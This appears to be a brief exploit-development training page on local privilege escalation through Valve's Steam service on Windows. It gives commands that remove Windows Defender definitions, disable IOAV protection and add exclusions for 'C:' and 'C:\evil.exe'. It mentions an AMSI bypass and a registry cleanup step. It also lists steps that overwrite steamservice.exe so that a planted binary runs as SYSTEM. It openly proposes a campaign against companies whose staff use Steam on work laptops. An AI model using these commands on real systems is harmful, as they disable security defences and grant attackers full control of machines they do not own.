Exploit Development Training & Learning

This really isn't called this CVE, but since Valve decided not to patch it. Related. Requires AMSI bypass to make this work. Two variations: add user and drop malicious file.

Several options to consider:

• "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All Set-MpPreference -DisableIOAVProtection $true
• powershellAdd-MpPreference -ExclusionPath "C:" & Add-MpPreference -ExclusionProcess "C:\evil.exe"
• Add an AMSI bypass to this, this becomes an effective campaign against companies who use steam for LAN parties on their work laptops (they exist).

Cleanup:

• For complete cleanup, at the end: regln-x64.exe -d HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Valve\Steam\Apps\PrivEsc
• Download: https://github.com/tenox7/regln/releases

Another example of Steam/Valve Exploitation:

• Log on as non-admin on a box with steam
• Do not start steam or any game
• cat %system32%\calc.exe > %programfiles%\steam\bin\steamservice.exe
• Reboot
• Log on, start steam
• Now you have calc.exe (attempted to) run as System with highest local privileges

From 2015: https://nvd.nist.gov/vuln/detail/CVE-2015-7985

Credits: Matt Nelson (@enigma0x3)